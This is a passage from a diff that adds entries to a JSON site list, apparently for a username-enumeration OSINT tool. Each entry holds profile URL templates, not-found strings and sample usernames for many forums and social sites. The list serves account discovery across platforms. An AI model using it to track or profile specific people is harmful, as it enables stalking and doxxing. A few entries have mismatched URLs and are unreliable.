"https://www.hackster.io", + "url": "https://www.hackster.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hikvision.msk.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1279617, + "urlMain": "http://hikvision.msk.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hiveos.farm": { + "tags": [ + "at", + "cz", + "forum", + "ru", + "us" + ], + "engine": "Discourse", + "alexaRank": 6288, + "urlMain": "https://forum.hiveos.farm", + "usernameClaimed": "halogenius", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hochu": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "phpBB", + "alexaRank": 50460, + "urlMain": "http://forum.hochu.ua", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "hogwarts.nz": { + "engine": "XenForo", + "alexaRank": 7856081, + "urlMain": "https://hogwarts.nz/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "hondaswap.com": { + "engine": "XenForo", + "alexaRank": 1387532, + "urlMain": "http://hondaswap.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "hunting": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 121760, + "urlMain": "https://www.hunting.ru/forum/", + "url": "https://www.hunting.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "iPhoneForums.net": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1961168, + "urlMain": "https://www.iphoneforums.net", + "url": "https://www.iphoneforums.net/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "iRecommend.RU": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2482, + "urlMain": "https://irecommend.ru/", + "url": "https://irecommend.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "igrarena": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 2979975, + "urlMain": "https://forum.igrarena.ru", + "url": "https://forum.igrarena.ru/members/?username={username}", + "usernameClaimed": "forester", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "igromania": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 21104, + "urlMain": "http://forum.igromania.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "imgsrc.ru": { + "tags": [ + "be", + "de", + "es", + "in", + "pt", + "ru", + "us" + ], + "checkType": "response_url", + "alexaRank": 26075, + "urlMain": "https://imgsrc.ru/", + "url": "https://imgsrc.ru/main/user.php?user={username}", + "errorUrl": "https://imgsrc.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "induste.com": { + "tags": [ + "forum", + "ma", + "re" + ], + "engine": "XenForo", + "alexaRank": 390003, + "urlMain": "https://induste.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "infopps.moy.su": { + "engine": "uCoz", + "urlMain": "http://infopps.moy.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "interpals": { + "tags": [ + "dating" + ], + "checkType": "message", + "absenceStrs": [ + "The requested user does not exist or is inactive" + ], + "alexaRank": 14174, + "urlMain": "https://www.interpals.net/", + "url": "https://www.interpals.net/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noneownsthisusername" + }, + "iXBT": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u043e\u0441\u0442\u0438\u0442\u0435, \u043d\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a" + ], + "alexaRank": 5024, + "urlMain": "https://forum.ixbt.com", + "url": "https://forum.ixbt.com/users.cgi?id=info:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "izmailonline.com": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 1097031, + "urlMain": "http://izmailonline.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "izobil.ru": { + "engine": "uCoz", + "urlMain": "http://izobil.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "jeuxvideo": { + "tags": [ + "fr", + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "Messages Forums" + ], + "absenceStrs": [ + "Vous \u00eates" + ], + "alexaRank": 2436, + "urlMain": "http://www.jeuxvideo.com", + "url": "http://www.jeuxvideo.com/profil/{username}?mode=infos", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "jog.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://jog.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5070099 + }, + "juce": { + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 356973, + "urlMain": "https://forum.juce.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kali.org.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2028167, + "urlMain": "https://kali.org.ru", + "url": "https://kali.org.ru/profile/{username}", + "usernameClaimed": "Drozd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kiabongo.info": { + "engine": "uCoz", + "alexaRank": 6066870, + "urlMain": "http://kiabongo.info", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kofi": { + "tags": [ + "freelance", + "in", + "ru", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Make income from your art!", + "https://storage.ko-fi.com/cdn/og.png" + ], + "alexaRank": 5421, + "urlMain": "https://ko-fi.com", + "url": "https://ko-fi.com/{username}", + "usernameClaimed": "yeahkenny", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "komsomolskiy.at.ua": { + "engine": "uCoz", + "urlMain": "http://komsomolskiy.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kursk46.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kursk46.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kursknet": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "urlMain": "https://forum.kursknet.ru", + "usernameClaimed": "Naffy", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11566418 + }, + "kwork": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 7462, + "urlMain": "https://www.kwork.ru/", + "url": "https://kwork.ru/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "l2-best.clan.su": { + "engine": "uCoz", + "urlMain": "http://l2-best.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "labpentestit": { + "tags": [ + "hacking", + "ru" + ], + "checkType": "response_url", + "alexaRank": 1309593, + "urlMain": "https://lab.pentestit.ru/", + "url": "https://lab.pentestit.ru/profile/{username}", + "errorUrl": "https://lab.pentestit.ru/{username}", + "usernameClaimed": "CSV", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "last.fm": { + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 2183, + "urlMain": "https://last.fm/", + "url": "https://last.fm/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "leasehackr": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 37029, + "urlMain": "https://forum.leasehackr.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "linuxfoundation": { + "tags": [ + "forum", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 26899, + "urlMain": "https://forum.linuxfoundation.org", + "url": "https://forum.linuxfoundation.org/profile/{username}", + "usernameClaimed": "chap92", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "linuxmint.info": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 6054365, + "urlMain": "http://linuxmint.info", + "url": "http://linuxmint.info/users/{username}", + "usernameClaimed": "freesoid", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "lithotherapy": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2754382, + "urlMain": "https://forum.lithotherapy.ru", + "url": "https://forum.lithotherapy.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solomon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "losinopetrovsk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://losinopetrovsk.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "markweinguitarlessons.com": { + "engine": "XenForo", + "alexaRank": 2301424, + "urlMain": "http://markweinguitarlessons.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby" + ] + }, + "mastodon.cloud": { + "disabled": true, + "tags": [ + "in", + "pk" + ], + "checkType": "status_code", + "alexaRank": 377057, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.cloud/", + "url": "https://mastodon.cloud/@{username}", + "usernameClaimed": "TheAdmin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mastodon.social": { + "checkType": "status_code", + "alexaRank": 2073381, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://chaos.social/", + "url": "https://mastodon.social/@{username}", + "usernameClaimed": "Gargron", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "mastodon.technology": { + "tags": [ + "th" + ], + "checkType": "status_code", + "alexaRank": 1182037, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.xyz/", + "url": "https://mastodon.technology/@{username}", + "usernameClaimed": "ashfurrow", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "mastodon.xyz": { + "tags": [ + "th" + ], + "checkType": "status_code", + "alexaRank": 1182037, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://mastodon.xyz/", + "url": "https://mastodon.xyz/@{username}", + "usernameClaimed": "TheKinrar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mau": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1139439, + "urlMain": "https://forum.mau.ru", + "url": "https://forum.mau.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "curl", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "md": { + "tags": [ + "forum", + "md", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404 - Not Found" + ], + "alexaRank": 2275804, + "urlMain": "https://forum.md/ru/", + "url": "https://forum.md/ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "medteh.info": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1290738, + "urlMain": "http://medteh.info", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mercadolivre": { + "tags": [ + "br" + ], + "checkType": "status_code", + "alexaRank": 361, + "urlMain": "https://www.mercadolivre.com.br", + "url": "https://www.mercadolivre.com.br/perfil/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "metacritic": { + "disabled": true, + "tags": [ + "us" + ], + "regexCheck": "^(?![-_])[A-Za-z0-9-_]{3,15}$", + "checkType": "message", + "absenceStrs": [ + "This user hasn\u2019t rated anything yet" + ], + "presenseStrs": [ + "Avg. User score" + ], + "alexaRank": 2409, + "urlMain": "https://www.metacritic.com/", + "url": "https://www.metacritic.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "mfd": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 61607, + "urlMain": "http://forum.mfd.ru", + "url": "http://forum.mfd.ru/forum/search/?query=&method=And&userQuery={username}", + "usernameClaimed": "rublevka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "michigan-sportsman.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 475252, + "urlMain": "http://www.michigan-sportsman.com/forum/", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "microcap.forum24.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 7087371, + "urlMain": "https://microcap.forum24.ru", + "url": "https://microcap.forum24.ru/?32-{username}", + "usernameClaimed": "asuus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "millerovo161.ru": { + "engine": "uCoz", + "alexaRank": 7369958, + "urlMain": "http://millerovo161.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "milliarderr.com": { + "engine": "uCoz", + "urlMain": "http://milliarderr.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7486145 + }, + "mirf": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 61648, + "urlMain": "https://forum.mirf.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mirmuzyki.ucoz.net": { + "engine": "uCoz", + "alexaRank": 7782396, + "urlMain": "http://mirmuzyki.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mistral.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://mistral.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mkr-rodniki.ru": { + "engine": "uCoz", + "urlMain": "http://mkr-rodniki.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12833632 + }, + "modnaya": { + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 589263, + "urlMain": "https://forum.modnaya.org/", + "url": "https://forum.modnaya.org/members/{username}.html", + "usernameClaimed": "werta", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "morshansk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://morshansk.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7727043 + }, + "moscherb.ru": { + "engine": "uCoz", + "alexaRank": 5638034, + "urlMain": "http://moscherb.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "moskovia.moy.su": { + "engine": "uCoz", + "urlMain": "http://moskovia.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "moto-travels.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1863517, + "urlMain": "http://moto-travels.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "motoomsk.ru": { + "engine": "uCoz", + "urlMain": "http://motoomsk.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 13211617 + }, + "motorhomefun.co.uk": { + "disabled": true, + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 834914, + "urlMain": "http://www.motorhomefun.co.uk/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mssg.me": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 90236, + "urlMain": "https://mssg.me", + "url": "https://mssg.me/{username}", + "usernameClaimed": "siamparagon", + "usernameUnclaimed": "asadasdsd" + }, + "mstdn.io": { + "checkType": "status_code", + "alexaRank": 1755522, + "urlMain": "https://mstdn.io/", + "url": "https://mstdn.io/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mt5": { + "disabled": true, + "tags": [ + "forum", + "in", + "pk", + "us" + ], + "engine": "vBulletin", + "alexaRank": 44211, + "urlMain": "https://forum.mt5.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "my-citrus.at.ua": { + "engine": "uCoz", + "urlMain": "http://my-citrus.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "naruto-base.tv": { + "engine": "uCoz", + "urlMain": "http://naruto-base.tv", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "narutoclan.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://narutoclan.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "medicine" + ], + "alexaRank": 7147964 + }, + "navi": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 129479, + "urlMain": "http://forum.navi.gg/", + "url": "http://forum.navi.gg/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "netbiz.at.ua": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://netbiz.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12174626 + }, + "news.toretsk.online": { + "engine": "uCoz", + "urlMain": "http://news.toretsk.online", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ], + "alexaRank": 7164519 + }, + "nf-club.ru": { + "engine": "uCoz", + "alexaRank": 6042902, + "urlMain": "http://nf-club.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "nhattao.com": { + "tags": [ + "forum", + "shopping", + "vn" + ], + "engine": "XenForo", + "alexaRank": 41011, + "urlMain": "https://www.nhattao.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "night.kharkov.ua": { + "engine": "uCoz", + "urlMain": "http://night.kharkov.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5634451 + }, + "nightbot": { + "tags": [ + "jp", + "us" + ], + "urlProbe": "https://api.nightbot.tv/1/channels/t/{username}", + "checkType": "status_code", + "alexaRank": 14181, + "urlMain": "https://nightbot.tv/", + "url": "https://nightbot.tv/t/{username}/commands", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "nikoncafe.com": { + "engine": "XenForo", + "alexaRank": 824284, + "urlMain": "https://www.nikoncafe.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "photo" + ] + }, + "nikos.at.ua": { + "engine": "uCoz", + "urlMain": "http://nikos.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ua" + ] + }, + "not606.com": { + "engine": "XenForo", + "alexaRank": 3046188, + "urlMain": "http://www.not606.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "sport" + ] + }, + "notabug.org": { + "tags": [ + "in", + "ma", + "ro", + "us" + ], + "urlProbe": "https://notabug.org/{username}/followers", + "checkType": "status_code", + "alexaRank": 339415, + "urlMain": "https://notabug.org/", + "url": "https://notabug.org/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "note": { + "tags": [ + "jp" + ], + "checkType": "status_code", + "alexaRank": 885, + "urlMain": "https://note.com/", + "url": "https://note.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "nsk66.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://nsk66.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4212350 + }, + "nucastle.co.uk": { + "engine": "XenForo", + "urlMain": "http://www.nucastle.co.uk/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "oakleyforum.com": { + "engine": "XenForo", + "alexaRank": 434544, + "urlMain": "https://www.oakleyforum.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "odonvv.ru": { + "engine": "uCoz", + "alexaRank": 8230602, + "urlMain": "http://odonvv.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "officiating": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Euer Online Casino Forum Deutschland - PlaytimeNetwork" + ], + "urlMain": "https://forum.playtime-forum.info", + "url": "https://forum.playtime-forum.info/members/?username={username}", + "usernameClaimed": "Glumbi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "podolsk": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 396940, + "urlMain": "https://forum.podolsk.ru", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "polarsteps": { + "tags": [ + "in", + "us" + ], + "urlProbe": "https://api.polarsteps.com/users/byusername/{username}", + "checkType": "status_code", + "alexaRank": 311149, + "urlMain": "https://polarsteps.com/", + "url": "https://polarsteps.com/{username}", + "usernameClaimed": "james", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "popjustice": { + "tags": [ + "co", + "forum", + "in", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 225190, + "urlMain": "https://forum.popjustice.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pr0gramm": { + "tags": [ + "de" + ], + "checkType": "status_code", + "urlMain": "https://pr0gramm.com/", + "url": "https://pr0gramm.com/api/profile/info?name={username}", + "usernameClaimed": "cha0s", + "usernameUnclaimed": "noonewouldeverusethis123123123123123123", + "alexaRank": 5355 + }, + "privateinvestor2000.com": { + "engine": "uCoz", + "urlMain": "http://privateinvestor2000.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prizyvnikmoy.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 3195890, + "urlMain": "http://prizyvnikmoy.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pro-cssteam.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pro-cssteam.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prog.hu": { + "tags": [ + "hu" + ], + "checkType": "response_url", + "alexaRank": 201253, + "urlMain": "https://prog.hu", + "url": "https://prog.hu/azonosito/info/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "prosportsdaily": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "vBulletin", + "alexaRank": 30882, + "urlMain": "https://forums.prosportsdaily.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "punx.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://punx.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pv-afghan.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pv-afghan.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3932899 + }, + "pvpru": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "errors": { + "Access denied": "Cloudflare security protection detected" + }, + "checkType": "status_code", + "alexaRank": 474448, + "urlMain": "https://pvpru.com/", + "url": "https://pvpru.com/board/member.php?username={username}&tab=aboutme#aboutme", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "python.su": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 580826, + "urlMain": "https://python.su/", + "url": "https://python.su/forum/user/{username}", + "usernameClaimed": "AlexaPan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "qiwi.me": { + "disabled": true, + "tags": [ + "finance", + "ru" + ], + "urlProbe": "https://api.qiwi.me/piggybox/{username}", + "checkType": "message", + "absenceStrs": [ + "no piggybox found", + "invalid alias" + ], + "urlMain": "https://qiwi.me", + "url": "https://qiwi.me/{username}", + "usernameClaimed": "videokursy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "qna.center": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 153017, + "urlMain": "https://qna.center", + "url": "https://qna.center/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "quik": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 363951, + "urlMain": "https://forum.quik.ru", + "url": "https://forum.quik.ru/user/{username}/", + "usernameClaimed": "swerg", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "radio_echo_msk": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1460, + "urlMain": "https://echo.msk.ru/", + "url": "https://echo.msk.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "radioskot": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 163733, + "urlMain": "https://radioskot.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "railforums.co.uk": { + "tags": [ + "forum", + "jp" + ], + "engine": "XenForo", + "alexaRank": 39031, + "urlMain": "https://www.railforums.co.uk", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "reality-check.ca": { + "disabled": true, + "engine": "XenForo", + "alexaRank": 2973813, + "urlMain": "https://www.reality-check.ca", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ca", + "forum", + "medicine" + ] + }, + "realitygaming.fr": { + "engine": "XenForo", + "urlMain": "http://realitygaming.fr/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 7867305 + }, + "relasko.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 58356, + "urlMain": "http://relasko.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "reverse4you": { + "tags": [ + "forum", + "lk", + "ru", + "ua" + ], + "disabled": true, + "engine": "Discourse", + "alexaRank": 718392, + "urlMain": "https://forum.reverse4you.org", + 